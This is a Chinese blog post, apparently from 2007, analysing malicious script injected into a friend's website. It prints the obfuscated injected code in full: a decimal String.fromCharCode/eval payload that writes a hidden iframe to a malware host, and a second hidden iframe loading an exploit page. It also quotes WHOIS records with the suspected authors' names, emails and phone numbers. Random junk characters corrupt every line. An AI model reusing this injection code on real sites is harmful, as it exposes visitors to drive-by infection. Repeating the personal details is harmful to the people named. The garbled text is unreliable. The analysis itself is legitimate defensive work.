首发在我的博客里面，
))z1T 8 n;+e( ob;; http://www.areway.cn/?p=175 7HkQ|~zGT Js( "H ;?`l1:C5) 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
?5yj</W gY=Ry=w9 <script>t=’60,105,102,114,97,109,101,
JMa[Ulz 32,115,114,99,61,104,116,116,112,58,47,47,
nL[ zXl 102,114,101,101,46,117,45,117,117,117,46,99,
W<"{d 110,47,101,114,114,111,114,46,104,116,109,
(K>=!&tlp= 32,119,105,100,116,104,61,49,48,48,32,104,
yxpDQ O~x 101,105,103,104,116,61,48,62,60,47,105,102,
7vf?#^ RlV 114,97,109,101,62′;
N)rf /E0 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
IC:wof " $F,& 7{^ <script>t=’60,105,102,114,97,109,101,32,115,
mhXSbo9w- 114,99,61,104,116,116,112,58,47,47,102,114,
ygz6 ~( 101,101,46,117,45,117,117,117,46,99,110,47,
Jfkdiyy" 101,114,114,111,114,46,104,116,109,32,119,
n$S`NNO{] 105,100,116,104,61,49,48,48,32,104,101,105,
O alBr?^ 103,104,116,61,48,62,60,47,105,102,114,97,
83ajok4E 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
7:>VH>?D document.write(t);</script>
- Ze{d$ RaNz)]+7` <html xmlns=”
O*d4zBT
http://www.w3.org/1999/xhtml NX5A{ “>
ag
\d4y 6 <head>
Y=- ILN(" <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
ju= +!nGUa <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
>.]' N:5 <title>首页 - 爱生活家庭网
v1E=P7}\{s djxM/"xo 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
QlFt:?7f 转换字符串后的大概内容是（谁点击后果自付）：
xQetAYP` <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
V;V,G+0Re RC']"j pW 查询玉米u-uuu.cn的详细信息：
8% ;K# ,> Domain Name: u-uuu.cn
O^A F+c\n ROID: 20070901s10001s64972306-cn
az=(6PX Domain Status: ok
U.[?1: v Registrant Organization: 王雷
er[%Nt+99 Registrant Name: 王雷
V>2mz c Administrative Email:
czlovexs@126.com 0B;cQSH!q Sponsoring Registrar: 北京万网志成科技有限公司
s, 8a1o Name Server:ns.yovole.com
O!c b- Name Server:ns1.yovole.com
Qf }^x9' Registration Date: 2007-09-01 17:54
clwJ+kku@ Expiration Date: 2008-09-01 17:54
w|uO)/v 最后PING了一下地址 都没有什么….
rq.S0bzH W"@FRWcd 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
3w
B 03\ P <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
N%,! &\L <script language=”javascript” src=”
5}/TB_W7j http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script -q-/0d<l >
27NhYDo 这个玉米应该有可能是木马作者的：
F$QA Ws foafau.info的详细信息：
5 * d Access to INFO WHOIS information is provided to assist persons in
X@[)j Ws determining the contents of a domain name registration record in the
{ fmY_T[Q8 Afilias registry database. The data in this record is provided by
q Pc"A!-i Afilias Limited for informational purposes only, and Afilias does not
_Wjd`* guarantee its accuracy. This service is intended only for query-based
u* <G20~A access. You agree that you will use this data only for lawful purposes
E|aP kq]
and that, under no circumstances will you use this data to: (a) allow,
8> }^W enable, or otherwise support the transmission by e-mail, telephone, or
J"x M[c2 facsimile of mass unsolicited, commercial advertising or solicitations
gDmw Jr to entities other than the data recipient’s own existing customers; or
MR/8 (b) enable high volume, automated, electronic processes that send
E!eBQ [@ queries or data to the systems of Registry Operator, a Registrar, or
H9^D lIv(' Afilias except as reasonably necessary to register domain names or
1f"LAs`% modify existing registrations. All rights reserved. Afilias reserves
Uv-x P(X the right to modify these terms at any time. By submitting this query,
p$5+^x'( you agree to abide by this policy.
c
4<~? L Domain ID:D22418703-LRMS
K`9ph"(Z Domain Name:FOAFAU.INFO
oM@X)6P_ Created On:20-Nov-2007 16:05:42 UTC
U se`E Last Updated On:20-Nov-2007 16:05:44 UTC
!*?Ss Expiration Date:20-Nov-2008 16:05:42 UTC
"o*zZ;>^ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
H@u C bT Status:CLIENT DELETE PROHIBITED
u,d@ oF(= Status:CLIENT RENEW PROHIBITED
za i x_mR Status:CLIENT TRANSFER PROHIBITED
zlh}8Es Status:CLIENT UPDATE PROHIBITED
m,~
@1 Status:TRANSFER PROHIBITED
`z =I}6){ Registrant ID:GODA-040110615
ml |[x M8 Registrant Name:liu hong
AU@XpaPWh Registrant Organization:
(]Z$mv! Registrant Street1:beijing
[S}o[v\ Registrant Street2:
0an g^v;q Registrant Street3:
%EZG2J jO) Registrant City:beijing
?]fd g;?@ Registrant State/Province:
[>'P Registrant Postal Code:100000
1!x-_h}
Registrant Country:CN
dJh T}"x Registrant Phone:+86.860108888777
EcA @bZ0 Registrant Phone Ext.:
?w}E/(r Registrant FAX:
*CA7
{2CX Registrant FAX Ext.:
:(,Eq? Registrant Email:bbbshiji@163.com
i6^COr Admin ID:GODA-240110615
CL^MIcq? Admin Name:liu hong
FuZ7xM, Admin Organization:
(]|rxmycA Admin Street1:beijing
# !?5^O Admin Street2:
|/?)u$U< Admin Street3:
{-sy,EYc w Admin City:beijing
rmCrP( Admin State/Province:
f3 lKdXnP Admin Postal Code:100000
`};8 Admin Country:CN
4MVa[ 0Y Admin Phone:+86.860108888777
}ST9&w i~ Admin Phone Ext.:
V}#2pP Admin FAX:
e ,_b Admin FAX Ext.:
rNL*(PN}lO Admin Email:bbbshiji@163.com
nj*B-M\p Billing ID:GODA-340110615
0Ts[IHpg&E Billing Name:liu hong
.)W'{2J-
Billing Organization:
t@Qs&DZ7k Billing Street1:beijing
=OIx G}* Billing Street2:
7Q <xC Billing Street3:
;as4EqiK Billing City:beijing
jXO*_R Billing State/Province:
q%=`PCty Billing Postal Code:100000
V4GcW|P4y Billing Country:CN
#\G{2\R Billing Phone:+86.860108888777
So*Q8`"-. Billing Phone Ext.:
8X`Gm!) Billing FAX:
Kc= &jCn Billing FAX Ext.:
u4L&8@ Billing Email:bbbshiji@163.com
Ed3 *fY Tech ID:GODA-140110615
,TTt<& c Tech Name:liu hong
r "OVu~ND Tech Organization:
I
U/HYBJH Tech Street1:beijing
L &F0 ^ Tech Street2:
vcsi @! Tech Street3:
j_E$C.XU{g Tech City:beijing
@ oE [! Tech State/Province:
%|[+\py$Q Tech Postal Code:100000
tL1"Dt> Tech Country:CN
m!s/L,iJJ Tech Phone:+86.860108888777
F>,kKR- Tech Phone Ext.:
F4i
c^F{K Tech FAX:
xX`P-h>V`c Tech FAX Ext.:
(eI'%1kS< Tech Email:bbbshiji@163.com
N3Ub|$}q Name Server:NS27.DOMAINCONTROL.COM
mh> )N" Name Server:NS28.DOMAINCONTROL.COM
v V :eU-a Name Server:
jE.U~D)2YF Name Server:
'G3B0 2* Name Server:
)/h~csy:~ Name Server:
$ D8eCjUm Name Server:
%ci/(wL Name Server:
@cNX\$J Name Server:
s5>=! yX Name Server:
`d, hP"jBc Name Server:
;"=a-$vm Name Server:
+1Oi-$
2- Name Server:
w? A&X B+ ;Y#~ 2eYCz 接着下载每个文件里面的代码：
bNR}Mk]? 一步一步看..
~WK >+T,% 
"q4c[dna 
r#wMd9 ]) 
? &ew$% 
5_b`Q O 
zJS,f5L6) 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
